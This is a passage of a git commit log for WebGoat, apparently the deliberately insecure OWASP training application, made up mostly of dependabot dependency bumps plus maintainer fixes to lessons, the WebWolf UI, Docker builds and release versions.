  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 08:28:49 +02:00
dependabot[bot]
5e5a1363b0
chore: bump docker/build-push-action from 5.3.0 to 5.4.0 (#1824)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5.3.0 to 5.4.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5.3.0...v5.4.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-18 08:20:27 +02:00
dependabot[bot]
47df923c8c
chore: bump org.apache.maven.plugins:maven-enforcer-plugin (#1823)
Bumps [org.apache.maven.plugins:maven-enforcer-plugin](https://github.com/apache/maven-enforcer) from 3.3.0 to 3.5.0.
- [Release notes](https://github.com/apache/maven-enforcer/releases)
- [Commits](https://github.com/apache/maven-enforcer/compare/enforcer-3.3.0...enforcer-3.5.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-enforcer-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 08:20:29 +02:00
dependabot[bot]
5dbc642264
chore: bump com.nulab-inc:zxcvbn from 1.8.0 to 1.9.0 (#1822)
Bumps [com.nulab-inc:zxcvbn](https://github.com/nulab/zxcvbn4j) from 1.8.0 to 1.9.0.
- [Release notes](https://github.com/nulab/zxcvbn4j/releases)
- [Changelog](https://github.com/nulab/zxcvbn4j/blob/main/CHANGELOG.md)
- [Commits](https://github.com/nulab/zxcvbn4j/compare/1.8.0...1.9.0)

---
updated-dependencies:
- dependency-name: com.nulab-inc:zxcvbn
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 08:14:48 +02:00
dependabot[bot]
96bc6fa608
chore: bump org.apache.maven.plugins:maven-checkstyle-plugin (#1821)
Bumps [org.apache.maven.plugins:maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.3.1 to 3.4.0.
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.3.1...maven-checkstyle-plugin-3.4.0)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 08:09:49 +02:00
dependabot[bot]
1d5a2bb6a2
chore: bump org.eclipse.jetty.ee10:jetty-ee10-bom from 12.0.3 to 12.0.10 (#1820)
Bumps [org.eclipse.jetty.ee10:jetty-ee10-bom](https://github.com/jetty/jetty.project) from 12.0.3 to 12.0.10.
- [Release notes](https://github.com/jetty/jetty.project/releases)
- [Commits](https://github.com/jetty/jetty.project/compare/jetty-12.0.3...jetty-12.0.10)

---
updated-dependencies:
- dependency-name: org.eclipse.jetty.ee10:jetty-ee10-bom
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-16 07:55:02 +02:00
dependabot[bot]
8b37bd58d7
chore: bump commons-io:commons-io from 2.15.1 to 2.16.1 (#1819)
Bumps commons-io:commons-io from 2.15.1 to 2.16.1.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-14 17:41:45 +02:00
dependabot[bot]
6545e2a066
chore: bump com.github.tomakehurst:wiremock (#1810)
Bumps [com.github.tomakehurst:wiremock](https://github.com/wiremock/wiremock) from 3.0.0-beta-2 to 3.0.0-beta-10.
- [Release notes](https://github.com/wiremock/wiremock/releases)
- [Commits](https://github.com/wiremock/wiremock/compare/3.0.0-beta-2...3.0.0-beta-10)

---
updated-dependencies:
- dependency-name: com.github.tomakehurst:wiremock
  dependency-type: direct:development
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 21:15:53 +02:00
dependabot[bot]
9573b30667
chore: bump org.asciidoctor:asciidoctorj from 2.5.10 to 2.5.13 (#1811)
Bumps [org.asciidoctor:asciidoctorj](https://github.com/asciidoctor/asciidoctorj) from 2.5.10 to 2.5.13.
- [Release notes](https://github.com/asciidoctor/asciidoctorj/releases)
- [Changelog](https://github.com/asciidoctor/asciidoctorj/blob/v2.5.13/CHANGELOG.adoc)
- [Commits](https://github.com/asciidoctor/asciidoctorj/compare/v2.5.10...v2.5.13)

---
updated-dependencies:
- dependency-name: org.asciidoctor:asciidoctorj
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 21:09:45 +02:00
dependabot[bot]
30e40f2e59
chore: bump org.jruby:jruby from 9.4.3.0 to 9.4.7.0 (#1813)
Bumps org.jruby:jruby from 9.4.3.0 to 9.4.7.0.

---
updated-dependencies:
- dependency-name: org.jruby:jruby
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 08:23:28 +02:00
dependabot[bot]
8f11fb6729
chore: bump docker/login-action from 3.0.0 to 3.2.0 (#1815)
Bumps [docker/login-action](https://github.com/docker/login-action) from 3.0.0 to 3.2.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v3.0.0...v3.2.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 08:17:41 +02:00
dependabot[bot]
10e36c203f
chore: bump com.google.guava:guava from 32.1.3-jre to 33.2.1-jre (#1814)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 32.1.3-jre to 33.2.1-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-08 08:13:01 +02:00
dependabot[bot]
edcce09b5f
chore: bump docker/build-push-action from 5.1.0 to 5.3.0 (#1816)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 5.1.0 to 5.3.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v5.1.0...v5.3.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-06-08 08:08:14 +02:00
François Capon
3134f18066
fix: Success if only Smith earn most salary (#1744)
* Update labels

* Update Java

* Update Test

---------

Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-01 10:50:38 +02:00
Vandeputte Brice
e219887f14
docs: Update HttpBasics_plan.adoc - fix broken link to https://www.zaproxy.org/ (#1803)
fix broken link OWASP ZAP -  https://www.zaproxy.org/

Co-authored-by: René Zubcevic <rene@zubcevic.com>
2024-06-01 10:45:12 +02:00
René Zubcevic
508703ffce
update dependencies and version (#1807)
* update dependencies and version
* debug macos build issue
* update and fix Dockerfile(s)
2024-05-31 19:39:03 +02:00
Nanne Baars
e308d7cde7
chore: upgrade checkout out to v4 (#1781) 2024-03-25 22:27:56 +01:00
Nanne Baars
4ab820e1d1
feat: move CSRF to A3 (#1776)
CSRF is part of security misconfiguration in the OWASP Top 10.
2024-03-21 20:50:37 +01:00
Jason White
1a6a7e0be1
reverting my goofs after launching from wrong browser tab (#1774) 2024-03-19 18:01:30 +01:00
Jason White
2e9140ab64
Merge pull request #1773 from misfir3/test-semgrep-on-merge
Test semgrep on merge
2024-03-18 13:21:21 -06:00
Jason White
b79c83a52e
linty 2024-03-18 19:19:12 +00:00
Jason White
297c6f49b5
Merge branch 'main' into test-semgrep-on-merge 2024-03-18 13:14:39 -06:00
Jason White
d2049a8fcc
updating for testing 2024-03-18 19:13:50 +00:00
Jason White
24db39eae2
test semgrep 2024-03-18 19:12:13 +00:00
Jason White
98443184e9
Merge pull request #1 from WebGoat/develop
updating from main branch to test semgrep
2024-03-18 13:05:23 -06:00
Nanne Baars
62931a1836
feature: enable CORS configuration (#1771) 2024-03-17 10:55:27 +01:00
cap-dev0x
c18430752a build(Dockerfile): replace deprecated MAINTAINER tag with label of the same
Current syntax now used to denote the "WebGoat team" as maintainer

Link: https://docs.docker.com/reference/dockerfile/#label

Signed-off-by: cap-dev0x <158111888+cap-dev0x@users.noreply.github.com>
2024-02-25 23:20:23 +01:00
François Capon
57d5b313b9 Fix typo in SQLi blind case 2024-02-10 16:02:35 +01:00
cap-dev0x
dd0f135088
fix(quiz): use $ instead of jQuery which is undefined (#1736)
Fixes: #1703

Signed-off-by: cap-dev0x <158111888+cap-dev0x@users.noreply.github.com>
2024-02-05 14:30:01 +01:00
dependabot[bot]
ad0286d5ba
chore: bump actions/cache from 3.3.1 to 4.0.0 (#1729)
Bumps [actions/cache](https://github.com/actions/cache) from 3.3.1 to 4.0.0.
- [Release notes](https://github.com/actions/cache/releases)
- [Changelog](https://github.com/actions/cache/blob/main/RELEASES.md)
- [Commits](https://github.com/actions/cache/compare/v3.3.1...v4.0.0)

---
updated-dependencies:
- dependency-name: actions/cache
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-29 11:03:15 +01:00
dependabot[bot]
b67eb44142
chore: bump io.github.bonigarcia:webdrivermanager from 5.3.3 to 5.6.3 (#1716)
Bumps [io.github.bonigarcia:webdrivermanager](https://github.com/bonigarcia/webdrivermanager) from 5.3.3 to 5.6.3.
- [Release notes](https://github.com/bonigarcia/webdrivermanager/releases)
- [Changelog](https://github.com/bonigarcia/webdrivermanager/blob/master/CHANGELOG.md)
- [Commits](https://github.com/bonigarcia/webdrivermanager/compare/webdrivermanager-5.3.3...webdrivermanager-5.6.3)

---
updated-dependencies:
- dependency-name: io.github.bonigarcia:webdrivermanager
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-09 15:10:16 +01:00
dependabot[bot]
7e75e9b8fc
chore: bump org.apache.commons:commons-exec from 1.3 to 1.4.0 (#1721)
Bumps org.apache.commons:commons-exec from 1.3 to 1.4.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-exec
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-09 14:59:40 +01:00
dependabot[bot]
40c679ec5a
chore: bump org.jsoup:jsoup from 1.16.1 to 1.17.2 (#1717)
Bumps [org.jsoup:jsoup](https://github.com/jhy/jsoup) from 1.16.1 to 1.17.2.
- [Release notes](https://github.com/jhy/jsoup/releases)
- [Changelog](https://github.com/jhy/jsoup/blob/master/CHANGES.md)
- [Commits](https://github.com/jhy/jsoup/compare/jsoup-1.16.1...jsoup-1.17.2)

---
updated-dependencies:
- dependency-name: org.jsoup:jsoup
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2024-01-09 14:51:32 +01:00
Peter Potrowl
4ebb869f5d
Fix hidden links in MissingFunctionAC.html. (#1710) 2023-12-29 15:01:35 +01:00
Peter Potrowl
6bb7a182dc Fix typos in texts. 2023-12-14 23:00:59 +01:00
Peter Potrowl
cb2c99d38d Improve texts to avoid confusion. 2023-12-14 22:54:20 +01:00
dependabot[bot]
84029345b4
chore: bump actions/setup-java from 3 to 4 (#1698)
Bumps [actions/setup-java](https://github.com/actions/setup-java) from 3 to 4.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-06 20:17:13 +01:00
dependabot[bot]
a0ca199cdc chore: bump actions/setup-python from 4 to 5
Bumps [actions/setup-python](https://github.com/actions/setup-python) from 4 to 5.
- [Release notes](https://github.com/actions/setup-python/releases)
- [Commits](https://github.com/actions/setup-python/compare/v4...v5)

---
updated-dependencies:
- dependency-name: actions/setup-python
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
2023-12-06 19:39:28 +01:00
Nanne Baars
2058298e2d chore: move to SNAPSHOT 2023-12-06 17:35:12 +01:00
Nanne Baars
17acef57b4 chore: add pre-commit hooks
chore: add pre-commit hooks

chore: add pre-commit hooks

chore: add pre-commit hooks

chore: add pre-commit hooks
2023-12-06 17:16:24 +01:00
Nanne Baars
d913967ec5 refactor: remove usage of RequestMapping 2023-12-06 17:16:24 +01:00
Nanne Baars
87edc7d1db refactor: use AssertJ for testing
Majority of our test cases use AssertJ
2023-12-06 17:16:24 +01:00
Nanne Baars
ac7a9c7863 chore: update GitHub action name 2023-12-05 14:22:19 +01:00
dependabot[bot]
2803ef45e4
chore: bump org.webjars:bootstrap from 5.3.1 to 5.3.2 (#1693)
Bumps [org.webjars:bootstrap](https://github.com/webjars/bootstrap) from 5.3.1 to 5.3.2.
- [Commits](https://github.com/webjars/bootstrap/compare/bootstrap-5.3.1...bootstrap-5.3.2)

---
updated-dependencies:
- dependency-name: org.webjars:bootstrap
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-05 14:04:09 +01:00
Nanne Baars
5357a65e05 chore: release 2023.8 2023-12-05 11:21:15 +01:00
Nanne Baars
d343c60781 chore: do not spend time on building the Docker image
We can test this ourselves there is no need to run this on every PR towards the repository.
2023-12-05 11:15:53 +01:00
Nanne Baars
98acc1f55a fix: get the right Github token 2023-12-05 11:15:06 +01:00
Nanne Baars
f99888e61b fix: typo in the step of the name 2023-12-05 11:14:51 +01:00
Nanne Baars
29dda49190 chore: WebWolf bootstrap can now be updated 2023-12-05 11:14:27 +01:00
Nanne Baars
369be6f688 fix: disable extra build file 2023-12-05 11:14:08 +01:00
Nanne Baars
d5f869c006 chore: release version 2023.7 2023-12-04 23:10:52 +01:00
Nanne Baars
a9caaabb47 fix: wrong Docker image 2023-12-04 23:09:51 +01:00
Nanne Baars
fb2ff01775 chore: release 2023.6 2023-12-04 22:56:58 +01:00
dependabot[bot]
89ecf1d2ad
chore: bump actions/first-interaction from 1.2.0 to 1.3.0 (#1691)
Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.2.0 to 1.3.0.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.2.0...v1.3.0)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:45:16 +01:00
dependabot[bot]
1b66a742da
chore: bump actions/setup-java from 3 to 4 (#1690)
Bumps [actions/setup-java](https://github.com/actions/setup-java) from 3 to 4.
- [Release notes](https://github.com/actions/setup-java/releases)
- [Commits](https://github.com/actions/setup-java/compare/v3...v4)

---
updated-dependencies:
- dependency-name: actions/setup-java
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:40:54 +01:00
dependabot[bot]
a831da5886
chore: bump commons-io:commons-io from 2.14.0 to 2.15.1 (#1689)
Bumps commons-io:commons-io from 2.14.0 to 2.15.1.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:33:27 +01:00
dependabot[bot]
fd5189c102
chore: bump com.diffplug.spotless:spotless-maven-plugin (#1688)
Bumps [com.diffplug.spotless:spotless-maven-plugin](https://github.com/diffplug/spotless) from 2.38.0 to 2.41.1.
- [Changelog](https://github.com/diffplug/spotless/blob/main/CHANGES.md)
- [Commits](https://github.com/diffplug/spotless/compare/lib/2.38.0...maven/2.41.1)

---
updated-dependencies:
- dependency-name: com.diffplug.spotless:spotless-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-12-04 22:24:53 +01:00
Nanne Baars
ae261f201a feat: show directly requested file in requests overview
When a call directly hits a file it is now show up in the requests overview. This helps the user whether an attack from WebGoat actually requested the uploaded file.

Closes: gh-1551
2023-12-04 21:34:16 +01:00
Nanne Baars
3d651526be feat: show creating time in file upload overview
Closes: gh-1551
2023-12-04 21:32:02 +01:00
Nanne Baars
c7c2a61f65
chore: fix startup message (#1687)
Since we use two application context, the event listener would print out the last one with the WebWolf context. As WebWolf is part of WebGoat we should not refer to it anymore during startup as users should always go to WebGoat first.
2023-12-04 07:59:29 +01:00
Nanne Baars
b7f657ad2c
chore: fix WebWolf UI (#1686)
Fix-ups after the Bootstrap 5 upgrade for WebWolf.
2023-12-02 12:59:56 +01:00
René Zubcevic
7fea42afe9
Fix/state of software supply chain links (#1683)
* fix:update state of software supply chain links

* fix:fix second link

* fix:links formatting

---------

Co-authored-by: maurycupitt <maury@cupitt.com>
2023-11-27 15:33:14 +01:00
René Zubcevic
826887cc83
Consistent environment values and url references (#1677)
* organizing environment variables

* Update application-webgoat.properties

* Update pom.xml

* test without ssl

* fix docker base image and default env entries

* seperate server.address from webgoat.host and webwolf.host

* change base image and enable endpoint logging for docker as well

* change README

* change README

* make integration test able to verify against alternative host names

* use dynamic ports and remove system println
2023-11-27 14:35:49 +01:00
Nanne Baars
62db86246e chore: back to snapshot 2023-11-23 22:34:34 +01:00
Nanne Baars
f7a9995fe0 chore: create release v2023.5 2023-11-23 16:05:13 +01:00
dependabot[bot]
d6c4e8e454
chore: bump docker/build-push-action from 4.1.1 to 5.1.0 (#1670)
Bumps [docker/build-push-action](https://github.com/docker/build-push-action) from 4.1.1 to 5.1.0.
- [Release notes](https://github.com/docker/build-push-action/releases)
- [Commits](https://github.com/docker/build-push-action/compare/v4.1.1...v5.1.0)

---
updated-dependencies:
- dependency-name: docker/build-push-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-11-20 15:11:59 +01:00
dependabot[bot]
26628a39e1
chore: bump org.apache.commons:commons-compress from 1.23.0 to 1.25.0 (#1672)
Bumps org.apache.commons:commons-compress from 1.23.0 to 1.25.0.

---
updated-dependencies:
- dependency-name: org.apache.commons:commons-compress
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-11-20 15:05:36 +01:00
dependabot[bot]
2d26a318d1
chore: bump org.owasp:dependency-check-maven from 6.5.1 to 8.4.3 (#1671)
Bumps [org.owasp:dependency-check-maven](https://github.com/jeremylong/DependencyCheck) from 6.5.1 to 8.4.3.
- [Release notes](https://github.com/jeremylong/DependencyCheck/releases)
- [Changelog](https://github.com/jeremylong/DependencyCheck/blob/main/CHANGELOG.md)
- [Commits](https://github.com/jeremylong/DependencyCheck/compare/v6.5.1...v8.4.3)

---
updated-dependencies:
- dependency-name: org.owasp:dependency-check-maven
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-11-20 14:55:37 +01:00
Agustín Díaz
dc16e9a0fb
fix: typo in WebGoad.txt (#1667)
Signed-off-by: Agustín Díaz <agustin.ramiro.diaz@gmail.com>
2023-11-17 18:59:02 +01:00
René Zubcevic
88a321c268
search box moved and jwt encode/decode with little delay (#1664) 2023-11-16 14:42:10 +01:00
René Zubcevic
8450c5a5be
skip validation for JWT (#1663)
* skip validation for JWT

* skip validation for JWT

* skip validation for JWT
2023-11-15 18:30:14 +01:00
René Zubcevic
ba75e10efd
fixed issue in JWT test tool and added robot test (#1658) 2023-11-14 18:14:48 +01:00
René Zubcevic
d1e44bbc98
Password reset link test condition more strict and move all WebWolf links to /WebWolf (#1645)
* better check on host and port for password reset and make context roots more flexible

* spotless applied

* removed hardcoded /WebGoat from js

* removed hardcoded /WebGoat from js

* fix spotless

* fix scoreboard

* upgrade WebWolf bootstrap version and icons and templates - part 1

* fixed more bootstrap 5 style issues and context path issues

* organized WebSecurityConfig based on latest conventions and added basic support for oauth (more work needed)

* spotless applied

* added mock bean

* requires updates to properties - commented for now

* requires updates to properties - commented for now

* oauth secrets through env values

* user creation after oauth login

* integration test against non default context paths

* adjusted StartupMessage

* add global model element username

* conditionally show login oauth links

* fixed WebWolf login

---------

Co-authored-by: René Zubcevic <rene@Mac-mini-van-Rene.local>
2023-11-14 10:01:59 +01:00
dependabot[bot]
5a4974f3c2
chore: bump org.apache.maven.plugins:maven-checkstyle-plugin (#1640)
Bumps [org.apache.maven.plugins:maven-checkstyle-plugin](https://github.com/apache/maven-checkstyle-plugin) from 3.3.0 to 3.3.1.
- [Commits](https://github.com/apache/maven-checkstyle-plugin/compare/maven-checkstyle-plugin-3.3.0...maven-checkstyle-plugin-3.3.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-checkstyle-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-11-02 08:13:39 +01:00
dependabot[bot]
4fc1d1fb22
chore: bump org.apache.maven.plugins:maven-surefire-plugin (#1641)
Bumps [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) from 3.1.2 to 3.2.1.
- [Release notes](https://github.com/apache/maven-surefire/releases)
- [Commits](https://github.com/apache/maven-surefire/compare/surefire-3.1.2...surefire-3.2.1)

---
updated-dependencies:
- dependency-name: org.apache.maven.plugins:maven-surefire-plugin
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-11-02 07:26:26 +01:00
René Zubcevic
084a105c69
Java 21 initial support (#1622)
* check java 17 and 21 in build

* build on regular branch push

* build on regular branch push

* build on regular branch push

* update spring boot for Java21 support
2023-10-23 20:21:00 +02:00
dependabot[bot]
7485cb8b9a
chore: bump org.webjars:bootstrap from 3.3.7 to 5.3.2 (#1624)
* chore: bump org.webjars:bootstrap from 3.3.7 to 5.3.2

Bumps [org.webjars:bootstrap](https://github.com/webjars/bootstrap) from 3.3.7 to 5.3.2.
- [Commits](https://github.com/webjars/bootstrap/compare/bootstrap-3.3.7...bootstrap-5.3.2)

---
updated-dependencies:
- dependency-name: org.webjars:bootstrap
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>

* small update and ignore major updates

* small update and ignore major updates

---------

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-10-23 20:09:48 +02:00
dependabot[bot]
c312ae989f
chore: bump docker/setup-buildx-action from 2 to 3 (#1628)
Bumps [docker/setup-buildx-action](https://github.com/docker/setup-buildx-action) from 2 to 3.
- [Release notes](https://github.com/docker/setup-buildx-action/releases)
- [Commits](https://github.com/docker/setup-buildx-action/compare/v2...v3)

---
updated-dependencies:
- dependency-name: docker/setup-buildx-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-10-23 17:12:25 +02:00
dependabot[bot]
5fde7fbf29
chore: bump docker/login-action from 2.2.0 to 3.0.0 (#1630)
Bumps [docker/login-action](https://github.com/docker/login-action) from 2.2.0 to 3.0.0.
- [Release notes](https://github.com/docker/login-action/releases)
- [Commits](https://github.com/docker/login-action/compare/v2.2.0...v3.0.0)

---
updated-dependencies:
- dependency-name: docker/login-action
  dependency-type: direct:production
  update-type: version-update:semver-major
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-10-23 17:03:54 +02:00
dependabot[bot]
a32c56bfc7
chore: bump actions/first-interaction from 1.1.1 to 1.2.0 (#1629)
Bumps [actions/first-interaction](https://github.com/actions/first-interaction) from 1.1.1 to 1.2.0.
- [Release notes](https://github.com/actions/first-interaction/releases)
- [Commits](https://github.com/actions/first-interaction/compare/v1.1.1...v1.2.0)

---
updated-dependencies:
- dependency-name: actions/first-interaction
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-10-23 16:57:16 +02:00
dependabot[bot]
6fd3eb57eb
chore: bump com.google.guava:guava from 32.1.1-jre to 32.1.3-jre (#1627)
Bumps [com.google.guava:guava](https://github.com/google/guava) from 32.1.1-jre to 32.1.3-jre.
- [Release notes](https://github.com/google/guava/releases)
- [Commits](https://github.com/google/guava/commits)

---
updated-dependencies:
- dependency-name: com.google.guava:guava
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
Co-authored-by: René Zubcevic <rene@zubcevic.com>
2023-10-23 16:49:02 +02:00
dependabot[bot]
1743d017ff
chore: bump commons-io:commons-io from 2.13.0 to 2.14.0 (#1626)
Bumps commons-io:commons-io from 2.13.0 to 2.14.0.

---
updated-dependencies:
- dependency-name: commons-io:commons-io
  dependency-type: direct:production
  update-type: version-update:semver-minor
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-10-23 16:25:45 +02:00
dependabot[bot]
2b2638943b
chore: bump org.jacoco:jacoco-maven-plugin from 0.8.10 to 0.8.11 (#1625)
Bumps [org.jacoco:jacoco-maven-plugin](https://github.com/jacoco/jacoco) from 0.8.10 to 0.8.11.
- [Release notes](https://github.com/jacoco/jacoco/releases)
- [Commits](https://github.com/jacoco/jacoco/compare/v0.8.10...v0.8.11)

---
updated-dependencies:
- dependency-name: org.jacoco:jacoco-maven-plugin
  dependency-type: direct:production
  update-type: version-update:semver-patch
...

Signed-off-by: dependabot[bot] <support@github.com>
Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com>
2023-10-23 16:18:27 +02:00
François Capon
45c26d8aaf
Fix servers id (#1619) 2023-10-22 15:25:52 +02:00
Àngel Ollé Blázquez
be30551850 fix: potential NPE in the stored XSS assignment 2023-08-27 14:31:35 +02:00
Àngel Ollé Blázquez
49862f6b90 fix: fixes the default change in trailing slash matching and address the affected assignments 2023-08-27 14:14:27 +02:00
Àngel Ollé Blázquez
4009785bb8 fix: crypto basics broken links 2023-08-27 13:16:08 +02:00
Àngel Ollé Blázquez
